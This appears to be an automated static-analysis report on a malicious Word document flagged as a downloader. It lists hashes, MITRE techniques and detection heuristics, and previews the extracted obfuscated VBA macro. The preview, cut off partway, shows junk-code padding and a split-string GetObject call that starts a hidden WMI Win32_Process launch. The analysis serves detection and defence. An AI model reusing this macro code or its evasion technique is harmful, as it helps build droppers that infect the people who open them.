Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c2d6e48bb23cb674…

MALICIOUS

Office (OLE)

305.0 KB Created: 2019-02-19 07:17:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 1ad70aad743a929461fa978d4662a724 SHA-1: 06cd9ab4868b274aafeef12b8cd5a250a31b4776 SHA-256: c2d6e48bb23cb6748245451643ef94776ff62bb726ef7d0f00cab3ffba13ce46
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing obfuscated VBA macros. The critical heuristic 'OLE_VBA_WMI_PROCESS_CREATE' indicates the macro attempts to launch a process using WMI, specifically targeting 'Win32_Process'. This is a common technique for downloading and executing further malicious payloads. The 'OLE_VBA_SPLIT_KEYWORD_OBFUSCATION' heuristic further confirms that the macro uses string splitting to hide the 'Win32_Process' keyword, a strong indicator of malicious intent.

Heuristics 9

  • ClamAV: Doc.Downloader.Sagent-6862532-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-6862532-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 56983 bytes
SHA-256: ff39c85c8965902085c0b0c52df1bc9948cf4d05916dd364300eebb039331506
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "w25126_3"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "E80102"
Function i784_409()
   If w19___1 <> W1052___ Then
H4_5_4 = 792134661 + CSng(201059739) * 15333902 * ChrB(720756226) * (d8_852 / CDbl(227795930 + CBool(o__2304 - Int(180847153 / U25141_ * 831792996 / Cos(f_0067)))) - (a9_9_76 + Oct(297380957) + 24901630 / 219765133))
End If
   If d0_87_9 <> z8264_53 Then
t0_1_351 = 949456781 + CSng(220831696) * 997723285 * ChrB(405236848) * (L_01__0 / CDbl(256163687 + CBool(i72152 - Int(467475257 / D_0_015 * 146526784 / Cos(Q_977354)))) - (l49407 + Oct(373031537) + 124946989 / 259421466))
End If
   If o443_3 <> G6_214 Then
o_5156 = 127727468 + CSng(70622994) * 881750275 * ChrB(38984177) * (m688_31 / CDbl(759445317 + CBool(f4345844 - Int(477183230 / M_79__ * 401217789 / Cos(P0805_)))) - (N_3___2 + Oct(141783470) + 879373677 / 85871938))
End If
   If l88_12_ <> W__012 Then
m73_9_4_ = 870097847 + CSng(539347538) * 87267610 * ChrB(7200270) * (i776_0 / CDbl(495880144 + CBool(B09____ - Int(428524689 / G_1_9204 * 928012405 / Cos(r__4463)))) - (U56_32 + Oct(993304664) + 41672088 / 344615057))
End If
   If j187536 <> s48___ Then
W8_4_9_0 = 575504089 + CSng(453363602) * 268222678 * ChrB(226716150) * (R077_1_3 / CDbl(302545612 + CBool(z61_604 - Int(617434597 / p93_70 * 823569444 / Cos(H__2__44)))) - (s449__4 + Oct(822494688) + 657883917 / 209190434))
End If
   If v02626 <> v0_264 Then
J7____ = 91098150 + CSng(241841921) * 696369554 * ChrB(77906936) * (C0090_9 / CDbl(896665424 + CBool(f32859 - Int(2603770 / r220_35 * 413517754 / Cos(t0_2_24)))) - (Y9925_ + Oct(886003001) + 616550372 / 751602846))
End If
   If j6_5277 <> c4217106 Then
O166_2_3 = 263184085 + CSng(308551632) * 91798314 * ChrB(211135352) * (U641130 / CDbl(598303054 + CBool(O04419 - Int(856963236 / S054_144 * 341066436 / Cos(t56791_)))) - (U_0_322 + Oct(851312272) + 678479288 / 127431013))
End If
End Function
Function w8810477(R575_89, M0976__)
On Error Resume Next
   If C____4_2 <> w60__0 Then
D5_2551 = 136510834 + CSng(5584033) * 493582892 * ChrB(249507113) * (t87_62_3 / CDbl(729363707 + CBool(W8__924_ - Int(520622198 / O__97__ * 245846883 / Cos(u31_3_69)))) - (R_20_51 + Oct(514589614) + 873400105 / 277739606))
End If
   If V___6218 <> a5_522 Then
f168_2__ = 558492596 + CSng(702479768) * 353423332 * ChrB(592533092) * (D_0_95_7 / CDbl(204245613 + CBool(E649467 - Int(521528194 / r8_19_7 * 564463065 / Cos(z084_9)))) - (N_3_21_ + Oct(765070379) + 560573103 / 314457828))
End If
Set u883_201 = GetObject(W481_91 + "winmgm" + B_86_27 + "ts:Win" + "32_Proce" + "ssStartup")
   If L4_676_ <> I_856_9 Then
W_6_337 = 839056901 + CSng(857201871) * 488400295 * ChrB(858294790) * (D30_92 / CDbl(905626801 + CBool(C364138 - Int(928802112 / Q25727 * 36943601 / Cos(j857__06)))) - (J7681_4 + Oct(346868346) + 963389785 / 167850360))
End If
   If L47_408 <> l_4__50 Then
n_2089 = 4700652 + CSng(737288418) * 919884037 * ChrB(875418315) * (F6444_6 / CDbl(938738451 + CBool(N97_9_ - Int(367458497 / N1__14 * 519217850 / Cos(p8_9__96)))) - (b75_599 + Oct(516760444) + 228745962 / 812948829))
End If
u883_201.ShowWindow = 81764 - 81764
   If F52637_ <> G___853_ Then
o7113577 = 707932706 + CSng(412847689) * 7723592 * ChrB(884497869) * (S_707_ / CDbl(494996495 + CBool(s3259_1 - Int(109008675 / m_324_2 * 720729648 / Cos(J_4206)))) - (Z677_23_ + Oct(97320734) + 963566593 / 833243353))
End If
   If p_1__3 <> a59_31 Then
J1___8_ = 110736557 + CSng(485357305) * 921386539 * ChrB(399292640) * (l24701 / CDbl(771813886 + CBool(s763503 - Int(775476639 / p_0__63 * 232433633 / Cos(Z___4_45)))) - (z1_8347 + Oct(646065786) + 271795019 / 61287147))
End If
   If j6_7772 <> a_323_ Then
T73__6 = 682490587 + CSng(439064328) * 468530621 * ChrB(13814256) * (X6_5_1 / CDbl(590244495 + CBool(U6842254 - Int(985515915 / j55549 * 632341321 / Cos(B
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.